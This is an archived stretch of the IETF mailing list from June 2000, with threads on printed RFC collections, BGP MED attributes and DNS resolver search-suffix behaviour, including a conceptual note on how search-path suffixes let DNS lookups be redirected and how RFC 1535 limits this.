G&nbsp;&nbsp; C H A N G E S<BR>Once you log in to your site, you may =
change the=20
site Registration<BR>Code or Site Name listed above by clicking the Edit =
Site=20
Options<BR>link at the lower-left of your intranet.<BR><BR>You may =
change your=20
personal Login Name and Password by clicking<BR>Edit Member Options at =
the=20
lower-left of your intranet.<BR><BR>If you have any questions about the =
use of=20
your site, please consult<BR>the integrated Help system, by clicking the =
Help=20
button in the blue<BR>title bar at the top of your intranet.<BR><BR>We =
are=20
constantly updating the applications and features in =
Intranets.com,<BR>and&nbsp;=20
we welcome member feedback to guide us in these efforts. If<BR>you have=20
suggestions for new or improved service features, please<BR>click the =
Tell Us=20
link at the bottom of your intranet home page and<BR>tell us what you =
think!=20
<BR><BR>Regards,<BR><BR>Khalid Shahalawy </DIV></DIV></BODY></HTML>

------=_NextPart_000_002A_01BFCC34.F7C9B3A0--



From owner-ietf-outbound  Thu Jun  1 20:30:20 2000
Received: by ietf.org (8.9.1a/8.9.1a) id UAA07686
	for ietf-outbound.10@ietf.org; Thu, 1 Jun 2000 20:30:02 -0400 (EDT)
Received: from chmls06.mediaone.net (chmls06.mediaone.net [24.128.1.71])
	by ietf.org (8.9.1a/8.9.1a) with ESMTP id UAA07581
	for <ietf@ietf.org>; Thu, 1 Jun 2000 20:21:03 -0400 (EDT)
Received: from gateway (h00a0c5e1478f.ne.mediaone.net [24.147.211.223])
	by chmls06.mediaone.net (8.8.7/8.8.7) with SMTP id UAA10842
	for <ietf@ietf.org>; Thu, 1 Jun 2000 20:21:01 -0400 (EDT)
Message-Id: <4.1.20000601150854.00a93f00@pop.ne.mediaone.net>
X-Sender: loshin@pop.ne.mediaone.net
X-Mailer: QUALCOMM Windows Eudora Pro Version 4.1 
Date: Thu, 01 Jun 2000 20:17:38 -0400
To: ietf@ietf.org
From: Pete Loshin <pete@loshin.com>
Subject: RFCs in print
Mime-Version: 1.0
Content-Type: text/plain; charset="us-ascii"
X-Loop: ietf@ietf.org

In light of ongoing discussion about the Internet standards process and the
RFC document series, I would like to mention the release of a series of ten
printed collections of RFCs*. Each volume incorporates current relevant
RFCs pertaining to a single topic, such as IPsec, BGP, LDAP, telnet, FTP,
host requirements, etc.

I am particularly interested in hearing about whether such collections are
helpful or not. And if not, what would be more helpful.

It is my belief that making these source documents available in print can
only help those who need to understand them, provides a more convenient
format for reference, helps novices avoid wasting time with obsolete
specifications, and adds value with indexes across groups of RFCs as well
as prefatory material that summarizes and puts the selected RFCs in
perspective.

*In the interest of full disclosure, I compiled most of these books; Morgan
Kaufmann is the publisher.

-pl


+-------------------------------------------------------------+
| Pete Loshin             http://www.loshin.com               |
| Internet-Standard.com   http://Internet-Standard.com        |
| The RFC Books Series    http://www.loshin.com/bigbooks.html |
| The Linux Project       http://www.thelinuxproject.com      |
+-------------------------------------------------------------+



From owner-ietf-outbound  Thu Jun  1 22:20:13 2000
Received: by ietf.org (8.9.1a/8.9.1a) id WAA09700
	for ietf-outbound.10@ietf.org; Thu, 1 Jun 2000 22:20:02 -0400 (EDT)
Received: from astro.cs.utk.edu (ASTRO.CS.UTK.EDU [128.169.93.168])
	by ietf.org (8.9.1a/8.9.1a) with ESMTP id WAA09636
	for <ietf@ietf.org>; Thu, 1 Jun 2000 22:10:37 -0400 (EDT)
Received: from astro.cs.utk.edu (LOCALHOST [127.0.0.1])
        by astro.cs.utk.edu (cf 8.9.3) with ESMTP id WAA21608;
        Thu, 1 Jun 2000 22:10:33 -0400 (EDT)
Message-Id: <200006020210.WAA21608@astro.cs.utk.edu>
X-URI: http://www.cs.utk.edu/~moore/
From: Keith Moore <moore@cs.utk.edu>
To: Pete Loshin <pete@loshin.com>
cc: ietf@ietf.org
Subject: Re: RFCs in print 
In-reply-to: Your message of "Thu, 01 Jun 2000 20:17:38 EDT."
             <4.1.20000601150854.00a93f00@pop.ne.mediaone.net> 
Date: Thu, 01 Jun 2000 22:10:32 -0400
Sender: moore@cs.utk.edu
X-Loop: ietf@ietf.org

> I am particularly interested in hearing about whether such collections are
> helpful or not. And if not, what would be more helpful.

not having seen the collections I can't comment about them specifcally.

but in general this seems like a very good idea, provided that the books 
make it clear that many of these standards are continually evolving,
and if they provide pointers (URLs etc) to where readers can find current
information on important topics.  (e.g. the IETF web page, the 
RFC Index, IANA.ORG, relevant {ex-}WG mailing lists etc.)

my biggest concern would be that folks implement the standards "by the 
book" when the book is a few years old, without taking into account 
more recent wisdom.

of course, if the books get updated and republished every couple of years
(which seems fairly frequent by print standards), that's also a good thing.

Keith



From owner-ietf-outbound  Fri Jun  2 01:50:22 2000
Received: by ietf.org (8.9.1a/8.9.1a) id BAA18090
	for ietf-outbound.10@ietf.org; Fri, 2 Jun 2000 01:50:03 -0400 (EDT)
Received: from ausmtp01.au.ibm.com (ausmtp01.au.ibm.COM [202.135.136.97])
	by ietf.org (8.9.1a/8.9.1a) with ESMTP id BAA17744
	for <ietf@ietf.org>; Fri, 2 Jun 2000 01:44:36 -0400 (EDT)
From: knarayan@in.ibm.com
Received: from f03n07e.au.ibm.com 
	by ausmtp01.au.ibm.com (IBM AP 1.0) with ESMTP id PAA42488
	for <ietf@ietf.org>; Fri, 2 Jun 2000 15:38:24 +1000
Received: from d73mta05.au.ibm.com (f06n05s [9.185.166.67])
	by f03n07e.au.ibm.com (8.8.8m2/8.8.7) with SMTP id PAA50236
	for <ietf@ietf.org>; Fri, 2 Jun 2000 15:43:56 +1000
Received: by d73mta05.au.ibm.com(Lotus SMTP MTA v4.6.5  (863.2 5-20-1999))  id CA2568F2.001F7C1D ; Fri, 2 Jun 2000 15:43:53 +1000
X-Lotus-FromDomain: IBMIN@IBMAU
To: ietf@ietf.org
Message-ID: <CA2568F2.001F76C8.00@d73mta05.au.ibm.com>
Date: Fri, 2 Jun 2000 11:11:54 +0530
Subject: BGP4
Mime-Version: 1.0
Content-type: text/plain; charset=us-ascii
Content-Disposition: inline
X-Loop: ietf@ietf.org


Hi,

I have multi-ISP connectivity, multiple exit  to internet.  I am planning
to use BGP and MEDs as primary attribute to choose the best path.

Is there any other suggestions ?


knarayan@in.ibm.com






From owner-ietf-outbound  Fri Jun  2 02:01:31 2000
Received: by ietf.org (8.9.1a/8.9.1a) id CAA18253
	for ietf-outbound.10@ietf.org; Fri, 2 Jun 2000 02:00:04 -0400 (EDT)
Received: from smtp.mail.yahoo.com (smtp.mail.yahoo.com [128.11.68.32])
	by ietf.org (8.9.1a/8.9.1a) with SMTP id BAA18115
	for <ietf@ietf.org>; Fri, 2 Jun 2000 01:53:26 -0400 (EDT)
Received: from ppp-203-197-9-212.bom.vsnl.net.in (HELO muralidharan) (203.197.9.212)
  by smtp.mail.yahoo.com with SMTP; 1 Jun 2000 22:53:25 -0700
X-Apparently-From: <raghavan?muralidharan@yahoo.com>
Message-ID: <001f01bfcc57$12ab4ae0$1000a8c0@muralidharan>
Reply-To: "R. Muralidharan" <r.muralidharan@IEEE.ORG>
From: "R. Muralidharan" <raghavan_muralidharan@yahoo.com>
To: <ietf@ietf.org>, "Pete Loshin" <pete@loshin.com>
References: <4.1.20000601150854.00a93f00@pop.ne.mediaone.net>
Subject: Re: RFCs in print
Date: Fri, 2 Jun 2000 11:24:32 +0530
Organization: OSS Systems (India) Pvt Ltd/IEEE Bombay section
MIME-Version: 1.0
Content-Type: text/plain;
	charset="iso-8859-1"
Content-Transfer-Encoding: 7bit
X-Priority: 3
X-MSMail-Priority: Normal
X-Mailer: Microsoft Outlook Express 5.00.2615.200
X-MimeOLE: Produced By Microsoft MimeOLE V5.00.2615.200
Content-Transfer-Encoding: 7bit
X-Loop: ietf@ietf.org
Content-Transfer-Encoding: 7bit


> I am particularly interested in hearing about whether such collections are
> helpful or not. And if not, what would be more helpful.
>
       Good idea as long as the books themselves are revised every year or
alternate years as the case may be.
     A huge size warning to indicate that RFCs do continually evolve will
also help.
muralidharan



__________________________________________________
Do You Yahoo!?
Talk to your friends online with Yahoo! Messenger.
http://im.yahoo.com



From owner-ietf-outbound  Fri Jun  2 02:40:14 2000
Received: by ietf.org (8.9.1a/8.9.1a) id CAA25456
	for ietf-outbound.10@ietf.org; Fri, 2 Jun 2000 02:40:03 -0400 (EDT)
Received: from dokka.maxware.no (dokka.maxware.no [195.139.236.69])
	by ietf.org (8.9.1a/8.9.1a) with ESMTP id CAA25370
	for <ietf@ietf.org>; Fri, 2 Jun 2000 02:34:12 -0400 (EDT)
Received: from langfjella.Alvestrand.no (langfjella.maxware.no [10.128.1.123])
	by dokka.maxware.no (8.9.3/8.9.3) with ESMTP id IAA03892;
	Fri, 2 Jun 2000 08:34:04 +0200
Message-Id: <4.3.1.2.20000602082547.0388e6f8@dokka.kvatro.no>
X-Sender: hta@dokka.maxware.no
X-Mailer: QUALCOMM Windows Eudora Version 4.3.1
Date: Fri, 02 Jun 2000 08:31:40 +0200
To: Joe Touch <touch@ISI.EDU>, Valdis.Kletnieks@vt.edu
From: Harald Tveit Alvestrand <Harald@Alvestrand.no>
Subject: Security and suffixes (Re: Cite on DNS-related traffic.)
Cc: garrethj@home.com, ietf@ietf.org
In-Reply-To: <39353C42.BDBF54AC@isi.edu>
References: <200005302356.QAA07850@lizard.nwest.mccaw.com>
 <200005310245.e4V2ji923132@black-ice.cc.vt.edu>
 <00053023364500.02459@intruder>
 <200005310348.e4V3mM931162@black-ice.cc.vt.edu>
Mime-Version: 1.0
Content-Type: text/plain; charset="us-ascii"; format=flowed
X-Loop: ietf@ietf.org

At 09:22 31.05.2000 -0700, Joe Touch wrote:

>It may be useful to distinguish resolver behavior from browser behavior.
>
>If the host has no more specific (explicit) resolver information,
>the current fully-qualified hostname, minus the first component,
>is used as the 'working suffix'. Attempts are made, with increasing
>generality, to use this suffix on any partially qualified request.

so far nobody's mentioned RFC 1535, the short summary of which is "this is 
bloodyawfulstupidbehaviour".

If I am out to attack you, and can place a record at ANY position in your 
search path, I can control your offsite name lookups totally.

In the case of someone seaarching

www.netscape.com.dept.other.edu
www.netscape.com.other.edu
www.netscape.com.edu
www.netscape.com

any DNS administrator at dept.other.edu, other.edu or com.edu(!) can 
prevent him from getting to www.netscape.com, instead sending him elsewhere.

                     Harald


--
Harald Tveit Alvestrand, EDB Maxware, Norway
Harald.Alvestrand@edb.maxware.no



From owner-ietf-outbound  Fri Jun  2 02:50:08 2000
Received: by ietf.org (8.9.1a/8.9.1a) id CAA25595
	for ietf-outbound.10@ietf.org; Fri, 2 Jun 2000 02:50:02 -0400 (EDT)
Received: from mailsrvnt01.ssdi.sharp.co.in ([203.197.160.35])
	by ietf.org (8.9.1a/8.9.1a) with ESMTP id CAA25554
	for <ietf@ietf.org>; Fri, 2 Jun 2000 02:47:02 -0400 (EDT)
Received: by mailsrvnt01.ssdi.sharp.co.in with Internet Mail Service (5.5.2650.21)
	id <K44CVTH5>; Fri, 2 Jun 2000 12:24:18 +0530
Message-ID: <9753A88725D7D3119BE0009027CC6CA220609E@mailsrvnt01.ssdi.sharp.co.in>
From: Sriram Shanmugam <SSriram@ssdi.sharp.co.in>
To: "'ietf@ietf.org'" <ietf@ietf.org>
Subject: Identification of Topology..?
Date: Fri, 2 Jun 2000 12:24:10 +0530 
MIME-Version: 1.0
X-Mailer: Internet Mail Service (5.5.2650.21)
Content-Type: text/plain;
	charset="iso-8859-1"
X-Loop: ietf@ietf.org

Hai , 

    How do i identify the topolgy( Bus ,Ring , Mesh, ....) ? , i would like
to do this by writting a program i.e on the fly ,while the application
starts execution .Is there any clue in the data packets sent or recvd ?.

Regards,

S.Sriram



From owner-ietf-outbound  Fri Jun  2 11:12:49 2000
Received: by ietf.org (8.9.1a/8.9.1a) id LAA04209
	for ietf-outbound.10@ietf.org; Fri, 2 Jun 2000 11:10:02 -0400 (EDT)
Received: from apt202.net ([207.176.47.53])
	by ietf.org (8.9.1a/8.9.1a) with ESMTP id LAA04127
	for <ietf@ietf.org>; Fri, 2 Jun 2000 11:07:51 -0400 (EDT)
Message-Id: <200006021507.LAA04127@ietf.org>
Received: from WorldClient [127.0.0.1] by apt202.net [192.168.0.2]
	with SMTP (MDaemon.v2.84.R)
	for <ietf@ietf.org>; Fri, 02 Jun 2000 11:04:47 -0400
Date: Fri, 02 Jun 2000 11:04:47 -0400
From: "John Cappiello" <jcap@apt202.net>
To: ietf@ietf.org
Subject: Re: BGP4
X-Mailer: WorldClient Pro 2.0.3
In-Reply-To: <CA2568F2.001F76C8.00@d73mta05.au.ibm.com>
X-MDaemon-Deliver-To: ietf@ietf.org
X-Return-Path: jcap@apt202.net
X-Loop: ietf@ietf.org

Excuse my ignorance, but what are MEDs?

Personally, I have setup something similar implementing my own form or 
BGP in a linux solution behind an IP masqueraded firewall.  It's secure 
(in that all your internal boxes are pretty well hidden) and the logic 
involved is a complex and "intelligent" as you would like it to be.  
Basically it involves just keeping track of it's own routing table 
(quite large routing table <grin>).



-----Original Message-----
From: knarayan@in.ibm.com
To: ietf@ietf.org
Date: Fri, 2 Jun 2000 11:11:54 +0530
Subject: BGP4

>
>Hi,
>
>I have multi-ISP connectivity, multiple exit  to internet.  I am
>planning
>to use BGP and MEDs as primary attribute to choose the best path.
>
>Is there any other suggestions ?
>
>
>knarayan@in.ibm.com
>
>
>
>
>
>




From owner-ietf-outbound  Fri Jun  2 11:50:23 2000
Received: by ietf.org (8.9.1a/8.9.1a) id LAA05673
	for ietf-outbound.10@ietf.org; Fri, 2 Jun 2000 11:50:02 -0400 (EDT)
Received: from reduno.reduno.com.mx (157-57.reduno.com.mx [200.4.157.57])
	by ietf.org (8.9.1a/8.9.1a) with ESMTP id LAA05497
	for <ietf@ietf.org>; Fri, 2 Jun 2000 11:44:59 -0400 (EDT)
Received: from localhost by reduno.reduno.com.mx (8.9.2/8.9.2) with ESMTP id KAA14464;
	Fri, 2 Jun 2000 10:42:30 -0600 (CST)
Date: Fri, 2 Jun 2000 10:42:30 -0600 (CST)
From: HUGO ZAMORA LOPEZ <hzamora@reduno.com.mx>
To: John Cappiello <jcap@APT202.NET>
cc: ietf@ietf.org
Subject: Re: BGP4
In-Reply-To: <200006021507.LAA04127@ietf.org>
Message-ID: <Pine.SO4.4.05.10006021037510.6685-100000@reduno.reduno.com.mx>
MIME-Version: 1.0
Content-Type: TEXT/PLAIN; charset=US-ASCII
X-Loop: ietf@ietf.org


Greetings,

Multi Exit Descriminator (MED) is a hint to external neighbors about
the preferred path into an AS. This is a dynamic way to influence another
AS on wich way to choose in order to reach a certain route given that we
have multiple entry points into that AS.

Regards.

Hugo Zamora
Reduno/UniNet

On Fri, 2 Jun 2000, John Cappiello wrote:

> Excuse my ignorance, but what are MEDs?
> 
> Personally, I have setup something similar implementing my own form or 
> BGP in a linux solution behind an IP masqueraded firewall.  It's secure 
> (in that all your internal boxes are pretty well hidden) and the logic 
> involved is a complex and "intelligent" as you would like it to be.  
> Basically it involves just keeping track of it's own routing table 
> (quite large routing table <grin>).
> 
> 
> 
> -----Original Message-----
> From: knarayan@in.ibm.com
> To: ietf@ietf.org
> Date: Fri, 2 Jun 2000 11:11:54 +0530
> Subject: BGP4
> 
> >
> >Hi,
> >
> >I have multi-ISP connectivity, multiple exit  to internet.  I am
> >planning
> >to use BGP and MEDs as primary attribute to choose the best path.
> >
> >Is there any other suggestions ?
> >
> >
> >knarayan@in.ibm.com
> >
> >
> >
> >
> >
> >
> 
> 
> 



From owner-ietf-outbound  Fri Jun  2 13:10:23 2000
Received: by ietf.org (8.9.1a/8.9.1a) id NAA07550
	for ietf-outbound.10@ietf.org; Fri, 2 Jun 2000 13:10:04 -0400 (EDT)
Received: from rgfsparc.cr.usgs.gov (rgfsparc.cr.usgs.gov [136.177.164.192])
	by ietf.org (8.9.1a/8.9.1a) with ESMTP id NAA07527
	for <ietf@ietf.org>; Fri, 2 Jun 2000 13:09:42 -0400 (EDT)
Received: from rgfsparc.cr.usgs.gov (rgfsparc.cr.usgs.gov [136.177.164.192])
	by rgfsparc.cr.usgs.gov (8.9.3+Sun/8.9.1) with SMTP id MAA26376
	for <ietf@ietf.org>; Fri, 2 Jun 2000 12:07:49 -0500 (CDT)
Message-Id: <200006021707.MAA26376@rgfsparc.cr.usgs.gov>
Date: Fri, 2 Jun 2000 12:07:49 -0500 (CDT)
From: "Robert G. Ferrell" <root@rgfsparc.cr.usgs.gov>
Reply-To: "Robert G. Ferrell" <root@rgfsparc.cr.usgs.gov>
Subject: Re: RFCs in print
To: ietf@ietf.org
MIME-Version: 1.0
Content-Type: TEXT/plain; charset=us-ascii
Content-MD5: XE8z4c050SHE7nWt3miWsg==
X-Mailer: dtmail 1.3.0 CDE Version 1.3 SunOS 5.7 sun4u sparc 
X-Loop: ietf@ietf.org

>> I am particularly interested in hearing about whether such collections are
>> helpful or not. And if not, what would be more helpful.

Perhaps a collection of RFCs would be a good candidate for an eBook.  Easier 
to accomodate the continual evolution of the documents than with 
traditional print.

RGF

Robert G. Ferrell, CISSP
Information Systems Security Officer
National Business Center, US DoI
Robert_G_Ferrell@nbc.gov
------------------------------------------------------------
Not an official statement by any entity of the US Government
------------------------------------------------------------



From owner-ietf-outbound  Fri Jun  2 13:50:09 2000
Received: by ietf.org (8.9.1a/8.9.1a) id NAA08310
	for ietf-outbound.10@ietf.org; Fri, 2 Jun 2000 13:50:02 -0400 (EDT)
Received: from faatcrl.tc.faa.gov (faatcrl.faa.gov [155.178.252.2])
	by ietf.org (8.9.1a/8.9.1a) with ESMTP id NAA08221
	for <ietf@ietf.org>; Fri, 2 Jun 2000 13:42:55 -0400 (EDT)
Received: from BELLOPEM ([172.26.208.2])
	by faatcrl.tc.faa.gov (8.8.8/8.8.8) with SMTP id NAA13082;
	Fri, 2 Jun 2000 13:41:17 -0400 (EDT)
From: "Michael B. Bellopede" <Michael.CTR.Bellopede@tc.faa.gov>
To: "Robert G. Ferrell" <root@RGFSPARC.CR.USGS.GOV>, <ietf@ietf.org>
Subject: RE: RFCs in print
Date: Fri, 2 Jun 2000 13:39:01 -0400
Message-ID: <PPECLLOGBEPHLOMKLNAMEEMECBAA.Michael.CTR.Bellopede@tc.faa.gov>
MIME-Version: 1.0
Content-Type: text/plain;
	charset="iso-8859-1"
Content-Transfer-Encoding: 7bit
X-Priority: 3 (Normal)
X-MSMail-Priority: Normal
X-Mailer: Microsoft Outlook IMO, Build 9.0.2416 (9.0.2910.0)
Importance: Normal
In-Reply-To: <12587@tc.faa.gov>
X-MimeOLE: Produced By Microsoft MimeOLE V5.00.2919.6700
Content-Transfer-Encoding: 7bit
X-Loop: ietf@ietf.org
Content-Transfer-Encoding: 7bit

There are a few of these out there already.  As is becoming obvious, the
trick will be keeping them updated.  This should be very easy to do under
the premise that the computer has an internet connection.

Michael B. Bellopede
Michael.CTR.Bellopede@tc.faa.gov

-----Original Message-----
From: Robert G. Ferrell [mailto:root@RGFSPARC.CR.USGS.GOV]
Sent: Friday, June 02, 2000 12:08 PM
To: ietf@ietf.org
Subject: Re: RFCs in print


>> I am particularly interested in hearing about whether such collections
are
>> helpful or not. And if not, what would be more helpful.

Perhaps a collection of RFCs would be a good candidate for an eBook.  Easier
to accomodate the continual evolution of the documents than with
traditional print.

RGF

Robert G. Ferrell, CISSP
Information Systems Security Officer
National Business Center, US DoI
Robert_G_Ferrell@nbc.gov
------------------------------------------------------------
Not an official statement by any entity of the US Government
------------------------------------------------------------




From owner-ietf-outbound  Fri Jun  2 14:00:12 2000
Received: by ietf.org (8.9.1a/8.9.1a) id OAA08558
	for ietf-outbound.10@ietf.org; Fri, 2 Jun 2000 14:00:02 -0400 (EDT)
Received: from prue.eim.surrey.ac.uk (IDENT:exim@[131.227.76.5])
	by ietf.org (8.9.1a/8.9.1a) with ESMTP id NAA08355
	for <ietf@ietf.org>; Fri, 2 Jun 2000 13:50:50 -0400 (EDT)
Received: from petra.ee.surrey.ac.uk ([131.227.88.13] ident=eep1lw)
	by prue.eim.surrey.ac.uk with esmtp (Exim 3.03 #1)
	id 12xvag-0007TB-00; Fri, 02 Jun 2000 18:50:38 +0100
Date: Fri, 2 Jun 2000 18:50:27 +0100 (BST)
From: Lloyd Wood <l.wood@eim.surrey.ac.uk>
X-Sender: eep1lw@petra.ee.surrey.ac.uk
Reply-To: L.Wood@eim.surrey.ac.uk
To: "Robert G. Ferrell" <root@rgfsparc.cr.usgs.gov>
cc: ietf@ietf.org
Subject: Re: RFCs in print
In-Reply-To: <200006021707.MAA26376@rgfsparc.cr.usgs.gov>
Message-ID: <Pine.GSO.4.21.0006021842380.18966-100000@petra.ee.surrey.ac.uk>
Organization: speaking for none
X-url: http://www.ee.surrey.ac.uk/Personal/L.Wood/
X-no-archive: yes
MIME-Version: 1.0
Content-Type: TEXT/PLAIN; charset=US-ASCII
X-Loop: ietf@ietf.org

On Fri, 2 Jun 2000, Robert G. Ferrell wrote:

> >> I am particularly interested in hearing about whether such collections are
> >> helpful or not. And if not, what would be more helpful.
> 
> Perhaps a collection of RFCs would be a good candidate for an eBook. 

Well, building some scripted web service based on a regular cron/at
job that collates a bunch of text RFCs together from an RFC mirror
that have been identified as being in a common area, parses the
RFC-index looking for 'obsoleted' updates, sticks a load of
introductory material and use-by-date disclaimers on the front, and
spits out a postscript file that is psbooked, ps2pdf'd, and dumped on
a webserver doesn't strike me as difficult.

(of course, you'd get a better book by going from the original nroff
 sources...)

Might even make useful primers for various courses.

L.

thinks an ebook is the delivery mechanism, not the end reader.

<L.Wood@surrey.ac.uk>PGP<http://www.ee.surrey.ac.uk/Personal/L.Wood/>




From owner-ietf-outbound  Fri Jun  2 14:10:08 2000
Received: by ietf.org (8.9.1a/8.9.1a) id OAA08798
	for ietf-outbound.10@ietf.org; Fri, 2 Jun 2000 14:10:02 -0400 (EDT)
Received: from boreas.isi.edu (boreas.isi.edu [128.9.160.161])
	by ietf.org (8.9.1a/8.9.1a) with ESMTP id NAA08462
	for <ietf@ietf.org>; Fri, 2 Jun 2000 13:56:51 -0400 (EDT)
Received: from isi.edu (sci.isi.edu [128.9.160.93])
	by boreas.isi.edu (8.9.3/8.9.3) with ESMTP id KAA29597;
	Fri, 2 Jun 2000 10:56:45 -0700 (PDT)
Message-ID: <3937F54F.F0D9FFF8@isi.edu>
Date: Fri, 02 Jun 2000 10:56:31 -0700
From: Joe Touch <touch@ISI.EDU>
X-Mailer: Mozilla 4.7 [en] (Win98; U)
X-Accept-Language: en,pdf
MIME-Version: 1.0
To: Harald Tveit Alvestrand <Harald@Alvestrand.no>
CC: Valdis.Kletnieks@vt.edu, garrethj@home.com, ietf@ietf.org
Subject: Re: Security and suffixes (Re: Cite on DNS-related traffic.)
References: <200005302356.QAA07850@lizard.nwest.mccaw.com>
	 <200005310245.e4V2ji923132@black-ice.cc.vt.edu>
	 <00053023364500.02459@intruder>
	 <200005310348.e4V3mM931162@black-ice.cc.vt.edu> <4.3.1.2.20000602082547.0388e6f8@dokka.kvatro.no>
Content-Type: text/plain; charset=us-ascii
Content-Transfer-Encoding: 7bit
Content-Transfer-Encoding: 7bit
X-Loop: ietf@ietf.org
Content-Transfer-Encoding: 7bit



Harald Tveit Alvestrand wrote:
> 
> At 09:22 31.05.2000 -0700, Joe Touch wrote:
> 
> >It may be useful to distinguish resolver behavior from browser behavior.
> >
> >If the host has no more specific (explicit) resolver information,
> >the current fully-qualified hostname, minus the first component,
> >is used as the 'working suffix'. Attempts are made, with increasing
> >generality, to use this suffix on any partially qualified request.
> 
> so far nobody's mentioned RFC 1535, the short summary of which is "this is
> bloodyawfulstupidbehaviour".
> 
> If I am out to attack you, and can place a record at ANY position in your
> search path, I can control your offsite name lookups totally.
> 
> In the case of someone seaarching
> 
> www.netscape.com.dept.other.edu
> www.netscape.com.other.edu
> www.netscape.com.edu
> www.netscape.com
> 
> any DNS administrator at dept.other.edu, other.edu or com.edu(!) can
> prevent him from getting to www.netscape.com, instead sending him elsewhere.

Yes. This is can also be changed by how the resolver is configured
(there are overrides, e.g., 'ndots'). 

RFC 1535 removes only some of those lookups; remaining are:

	www.netscape.com.dept.other.edu
	www.netscape.com

While RFC 1535 specifies that names including dots SHOULD be
resolved as absolute first, this can be changed by the resolver
configuration. And configuration information can be hard for
users to determine.

The use of the trailing dot (www.netscape.com.) remains
a useful way to force the resolver to avoid suffix extensions.

Joe



From owner-ietf-outbound  Fri Jun  2 14:30:34 2000
Received: by ietf.org (8.9.1a/8.9.1a) id OAA09146
	for ietf-outbound.10@ietf.org; Fri, 2 Jun 2000 14:30:03 -0400 (EDT)
Received: from lint.cisco.com (lint.cisco.com [171.68.224.209])
	by ietf.org (8.9.1a/8.9.1a) with ESMTP id OAA09118
	for <ietf@ietf.org>; Fri, 2 Jun 2000 14:29:40 -0400 (EDT)
Received: from elearhomepc (elear-dsl3.cisco.com [10.19.144.52]) by lint.cisco.com (8.8.6 (PHNE_14041)/CISCO.SERVER.1.2) with SMTP id LAA05863; Fri, 2 Jun 2000 11:29:07 -0700 (PDT)
Message-ID: <001f01bfccc0$db8e81c0$3490130a@cisco.com>
From: "Eliot Lear" <lear@cisco.com>
To: <knarayan@in.ibm.com>
Cc: <ietf@ietf.org>
References: <CA2568F2.001F76C8.00@d73mta05.au.ibm.com>
Subject: Re: BGP4
Date: Fri, 2 Jun 2000 11:32:07 -0700
Organization: Cisco Systems
MIME-Version: 1.0
Content-Type: text/plain;
	charset="iso-8859-1"
Content-Transfer-Encoding: 7bit
X-Priority: 3
X-MSMail-Priority: Normal
X-Mailer: Microsoft Outlook Express 5.00.2615.200
X-MimeOLE: Produced By Microsoft MimeOLE V5.00.2615.200
Content-Transfer-Encoding: 7bit
X-Loop: ietf@ietf.org
Content-Transfer-Encoding: 7bit

-----BEGIN PGP SIGNED MESSAGE-----
Hash: SHA1

> I have multi-ISP connectivity, multiple exit  to internet.  I am
> planning to use BGP and MEDs as primary attribute to choose the
> best path.
> 
> Is there any other suggestions ?

MEDs are only useful if you are connecting multiple points of one AS
to multiple points of another AS.  In your case, if you refer to
"multi-ISP" as more than one ISP, then MEDs are not necessary.  If,
on the other hand, you have multiple connections to the same ISP,
then MEDs are useful, assuming your ISP cooperates.

Also, if you have connectivity to two or more ISPs, then you don't
want MEDs to be your PRIMARY selection criteria, but tie breaker when
you're going to the same ISP.

Eliot Lear

-----BEGIN PGP SIGNATURE-----
Version: PGPfreeware 6.5.3 for non-commercial use <http://www.pgp.com>

iQA/AwUBOTf9pW6AD2cTbjy4EQLRYQCfWklQuPk1vboU6rGVwo17VNMFd+sAoMza
33+WXENlYRDREbpTmrEUz0a6
=m9YP
-----END PGP SIGNATURE-----




From owner-ietf-outbound  Fri Jun  2 15:10:14 2000
Received: by ietf.org (8.9.1a/8.9.1a) id PAA10139
	for ietf-outbound.10@ietf.org; Fri, 2 Jun 2000 15:10:03 -0400 (EDT)
Received: from astro.cs.utk.edu (ASTRO.CS.UTK.EDU [128.169.93.168])
	by ietf.org (8.9.1a/8.9.1a) with ESMTP id PAA09948
	for <ietf@ietf.org>; Fri, 2 Jun 2000 15:01:49 -0400 (EDT)
Received: from astro.cs.utk.edu (LOCALHOST [127.0.0.1])
        by astro.cs.utk.edu (cf 8.9.3) with ESMTP id OAA20995;
        Fri, 2 Jun 2000 14:59:33 -0400 (EDT)
Message-Id: <200006021859.OAA20995@astro.cs.utk.edu>
X-URI: http://www.cs.utk.edu/~moore/
From: Keith Moore <moore@cs.utk.edu>
To: Joe Touch <touch@ISI.EDU>
cc: Harald Tveit Alvestrand <Harald@Alvestrand.no>, Valdis.Kletnieks@VT.EDU,
        garrethj@home.com, ietf@ietf.org
Subject: Re: Security and suffixes (Re: Cite on DNS-related traffic.) 
In-reply-to: Your message of "Fri, 02 Jun 2000 10:56:31 PDT."
             <3937F54F.F0D9FFF8@isi.edu> 
Date: Fri, 02 Jun 2000 14:59:33 -0400
Sender: moore@cs.utk.edu
X-Loop: ietf@ietf.org

> The use of the trailing dot (www.netscape.com.) remains
> a useful way to force the resolver to avoid suffix extensions.

this works sometimes, but not in all cases.
for example, trailing dots are not legal syntax for email addresses.

Keith



From owner-ietf-outbound  Fri Jun  2 15:51:21 2000
Received: by ietf.org (8.9.1a/8.9.1a) id PAA11735
	for ietf-outbound.10@ietf.org; Fri, 2 Jun 2000 15:50:02 -0400 (EDT)
Received: from A4.JCK.COM (ns.jck.com [209.187.148.211])
	by ietf.org (8.9.1a/8.9.1a) with ESMTP id PAA11541
	for <ietf@ietf.org>; Fri, 2 Jun 2000 15:41:52 -0400 (EDT)
Received: from JKLENSIN01 ("port 7292"@[135.207.27.137])
 by a4.jck.com (PMDF V6.0-23 #40360) with ESMTPA id <0FVJ00NBDLFI6H@a4.jck.com>
 for ietf@ietf.org; Fri, 02 Jun 2000 15:42:57 -0400 (EDT)
Date: Fri, 02 Jun 2000 15:41:48 -0400
From: John C Klensin <klensin@jck.com>
Subject: Re: Security and suffixes (Re: Cite on DNS-related traffic.)
In-reply-to: <3937F54F.F0D9FFF8@isi.edu>
To: Joe Touch <touch@ISI.EDU>
Cc: ietf@ietf.org
Message-id: <2182801762.959960508@JKLENSIN01>
MIME-version: 1.0
X-Mailer: Mulberry/2.0.0 (Win32)
Content-type: text/plain; charset=us-ascii
Content-transfer-encoding: 7bit
Content-disposition: inline
Content-Transfer-Encoding: 7bit
X-Loop: ietf@ietf.org
Content-Transfer-Encoding: 7bit



--On Friday, June 02, 2000 10:56 AM -0700 Joe Touch
<touch@ISI.EDU> wrote:

> The use of the trailing dot (www.netscape.com.) remains
> a useful way to force the resolver to avoid suffix extensions.

And a useful way to induce massive confusion, since many
applications do not recognize the hack and won't pass it to a
resolver (which, of course, may or may not recognize it either).

   john




From owner-ietf-outbound  Fri Jun  2 16:21:30 2000
Received: by ietf.org (8.9.1a/8.9.1a) id QAA12421
